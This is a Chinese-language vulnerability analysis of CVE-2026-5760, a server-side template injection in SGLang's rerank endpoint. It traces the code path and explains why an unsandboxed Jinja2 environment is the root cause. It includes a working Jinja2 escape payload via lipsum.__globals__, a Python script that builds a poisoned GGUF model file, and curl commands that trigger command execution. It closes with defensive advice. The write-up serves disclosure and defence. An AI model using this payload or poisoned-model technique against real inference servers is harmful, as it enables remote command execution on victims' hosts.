攻击者只需构造一个恶意的 GGUF 文件并上传至 HuggingFace,任何使用 SGLang 加载该模型并对外提供 Rerank 服务的受害者,都会在收到第一个请求时被执行任意系统命令。

漏洞信息概览

在深入代码之前,先明确该漏洞的基本面:

属性

详情

CVE 编号

CVE-2026-5760

CVSS 评分

9.8 (Critical)

漏洞类型

服务端模板注入 (SSTI) 导致远程代码执行 (RCE)

影响组件

SGLang (sgl-project/sglang)

影响版本

<= 0.5.9

修复版本

0.5.10

及以上

攻击向量

恶意的 GGUF 或 Safetensors 模型文件

源码审计:从路由到无沙箱渲染

漏洞的触发链路位于 python/sglang/srt/entrypoints/openai/serving_rerank.py。我们顺着一个正常的 /v1/rerank 请求的生命周期来追踪。

1. 路由判定:伪装成 Qwen3 Reranker

当 SGLang 收到 Rerank 请求时,需要决定将其交给哪个后端处理器。这一步由 _detect_rerank_backend 函数负责:

def _detect_rerank_backend(
    *,
    request: V1RerankReqInput,
    chat_template: Optional[str],
    model_path: str,
) -> str:
    is_multimodal = request.is_multimodal()
    is_vl_model = _is_qwen3_vl_model(model_path)
    is_vl_template = _is_qwen3_vl_reranker_template(chat_template)
    is_text_template = _is_qwen3_reranker_template(chat_template)

    if is_vl_template or is_vl_model or (is_multimodal and is_text_template):
        return "vl_decoder"
    if is_text_template:
        return "text_decoder"
    return "cross_encoder"

这里的关键在于 is_text_template 的判定逻辑。跟进 _is_qwen3_reranker_template 函数,我们发现它的检测非常简单粗暴,仅仅是字符串匹配:

def _is_qwen3_reranker_template(chat_template: str) -> bool:
    if not chat_template:
        return False
    t = chat_template.lower()
    return ('answer can only be "yes" or "no"' in t) or (
        "answer can only be" in t and '"yes"' in t and '"no"' in t
    )

只要模型自带的 chat_template 中包含 answer can only be "yes" or "no" 这句话,请求就会被无条件路由到 text_decoder 路径。这为攻击者提供了一个极其简单的"通行证"。

2. 漏洞核心:原生的 Jinja2 Environment

进入 text_decoder 路径后,程序会调用 _render_jinja_chat_template 函数来渲染模板。这个函数首先通过 _get_jinja_env() 获取模板引擎环境:

def _get_jinja_env():
    try:
        import jinja2
    except ModuleNotFoundError as e:
        raise ValueError(...) from e

    # 漏洞点:直接使用了原生的 jinja2.Environment
    return jinja2.Environment(
        loader=jinja2.BaseLoader(),
        autoescape=False,
        undefined=jinja2.Undefined,
    )

这是整个漏洞的根因所在。在处理外部不可信的模板内容时,安全的做法是使用 jinja2.sandbox.ImmutableSandboxedEnvironment,它会拦截对敏感属性(如 __globals__、__subclasses__)的访问。而 SGLang 在此处使用了标准的 jinja2.Environment,相当于赋予了模板执行任意 Python 代码的权限 [2]。

3. 上下文传递:并不影响 Payload 执行

获取环境后,程序开始渲染模板:

def _render_jinja_chat_template(
    chat_template: str,
    *,
    query: RerankContent,
    document: RerankContent,
    instruct: Optional[str],
) -> str:
    env = _get_jinja_env()
    template = env.from_string(chat_template)

    query_text = query if isinstance(query, str) else _extract_text_from_content(query)
    doc_text = document if isinstance(document, str) else _extract_text_from_content(document)

    render_kwargs = {
        "messages": [
            {"role": "user", "content": query_text},
            {"role": "user", "content": doc_text},
        ]
    }
    return template.render(**render_kwargs)

虽然 render_kwargs 中只传入了 messages 字典,但这并不能限制 Jinja2 SSTI 的威力。因为在无沙箱环境中,攻击者根本不需要依赖传入的变量,直接利用 Jinja2 内置的全局函数即可完成逃逸。

Jinja2 SSTI:利用 lipsum 逃逸沙箱

在原生的 Jinja2 环境中,有一些函数被默认注入到了全局命名空间中,例如 lipsum(用于生成 Lorem Ipsum 测试文本)、range、dict 等。

在 Python 中,所有的函数对象都有一个 __globals__ 属性,它是一个字典,包含了该函数定义所在模块的全局命名空间。

我们可以通过一个简单的脚本来验证 lipsum 的逃逸链路:

#test.py

import jinja2
import inspect

env = jinja2.Environment(loader=jinja2.BaseLoader(), autoescape=False)
lipsum = env.globals['lipsum']

print(f"lipsum 定义文件: {inspect.getfile(lipsum)}")
print(f"os 模块是否在 __globals__ 中: {'os' in lipsum.__globals__}")

执行结果显示 lipsum 定义在 jinja2.utils 模块中,而该模块在其顶部导入了 os。因此,lipsum.__globals__["os"] 直接指向了 Python 的原生 os 模块。

最终的 RCE Payload 呼之欲出:

{{ lipsum.__globals__["os"].popen("id").read() }}

如果 SGLang 使用了 ImmutableSandboxedEnvironment,在渲染时 Jinja2 会抛出 SecurityError: access to attribute '__globals__' of 'function' object is unsafe,从而阻断攻击。

GGUF 投毒:将 Payload 写入模型

GGUF 是一种专为大模型推理设计的二进制文件格式 [3]。一个标准的 GGUF 文件结构如下:

  1. Header (24 字节):包含 Magic Bytes(大端序为 0x47475546,即 "GGUF")、版本号、Tensor 数量和 KV 元数据数量。
  2. Metadata KV Pairs:一系列键值对,用于存储模型的架构、层数、分词器配置等。
  3. Tensor Data:庞大的权重矩阵数据。

我们需要在 Metadata KV 区域中,伪造一个名为 tokenizer.chat_template 的字符串类型键值对。

在 GGUF 格式中,字符串类型的 Value Type 编码为 8。使用 gguf 官方 Python 库,我们可以非常轻易地构造出一个体积不到 1MB 的恶意模型:

import numpy as np
from gguf import GGUFWriter

# 1. 满足 _is_qwen3_reranker_template 的特征字符串
# 2. Jinja2 SSTI RCE Payload
# 3. 正常渲染 messages,避免报错中断流程
PAYLOAD = (
    'The answer can only be "yes" or "no".\n'
    '{{ lipsum.__globals__["os"].popen("id && uname -a").read() }}'
    '{% for message in messages %}{{ message["content"] }}{% endfor %}'
)

writer = GGUFWriter("malicious_reranker.gguf", arch="qwen3")
writer.add_name("Qwen3-Reranker-Evil")
writer.add_chat_template(PAYLOAD)
# 添加一个极小的空 Tensor 以保证文件结构合法
writer.add_tensor("token_embd.weight", np.zeros((1, 1), dtype=np.float32))

writer.write_header_to_file()
writer.write_kv_data_to_file()
writer.write_tensors_to_file()
writer.close()

利用十六进制查看器观察生成的 malicious_reranker.gguf,可以在文件头偏移 0x18(24字节)之后,清晰地看到被注入的模板字符串及其长度前缀。

端到端复现

1. 启动靶机

安装漏洞版本的 SGLang,并编写一个精简的 vuln_server.py 来模拟加载模型并对外提供 /v1/rerank 接口:

sudo pip3 install gguf numpy jinja2 fastapi "uvicorn[standard]" requests \
  -i https://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com
python3 vuln_server.py

2. 触发漏洞

假设攻击者已经将上述生成的 malicious_reranker.gguf 上传到了靶机所在的服务器。

现在,我们向靶机发送一个完全正常的 Rerank 请求:

curl -s -X POST http://localhost:30000/v1/rerank \
  -H "Content-Type: application/json" \
  -d '{
    "model": "reranker",
    "query": "What is the capital of France?",
    "documents": ["Paris is the capital of France."]
  }'

查看靶机的返回结果,我们可以看到 id 和 uname -a 的执行输出被混入了正常渲染的模板文本中,并通过调试字段(或实际应用中的日志)回显:

至此,从 GGUF 投毒到无沙箱渲染,再到最终的命令执行,整条攻击链路得到了完整的实战验证。

防御建议

CVE-2026-5760 的出现提醒我们,AI 模型文件早已不再是单纯的权重矩阵,它们内部包含的代码片段、序列化对象(如 Pickle)和模板引擎配置,同样具有极高的破坏力。

  1. 立即升级组件检查业务环境中 SGLang 的版本。SGLang 官方已在 0.5.10 版本中修复了该漏洞,将 jinja2.Environment 替换为了安全的沙箱环境。

模型文件静态审计在引入外部 GGUF 或 Safetensors 模型时,不应盲目加载。可以使用 gguf-dump 等工具提取并审查 Metadata 区域:

  1. gguf-dump model.gguf | grep -i "chat_template" -A 5

重点排查模板中是否包含 __globals__、__subclasses__、__builtins__ 等 Jinja2 逃逸关键字。

  1. 最小权限原则与网络隔离运行 AI 推理框架的容器或宿主机,应严格限制其系统权限,并配置出站网络策略(Egress Filtering),阻断反弹 Shell 或数据外带的企图。

参考资料

[1] CERT/CC. (2026). VU#915947: SGLang vulnerable to Remote Code Execution via GGUF model poisoning. https://www.kb.cert.org/vuls/id/915947

[2] Jinja2 Documentation. (n.d.). Sandbox. https://jinja.palletsprojects.com/en/stable/sandbox/

[3] GGML Organization. (n.d.). GGUF File Format Specification. https://github.com/ggml-、org/ggml/blob/master/docs/gguf.md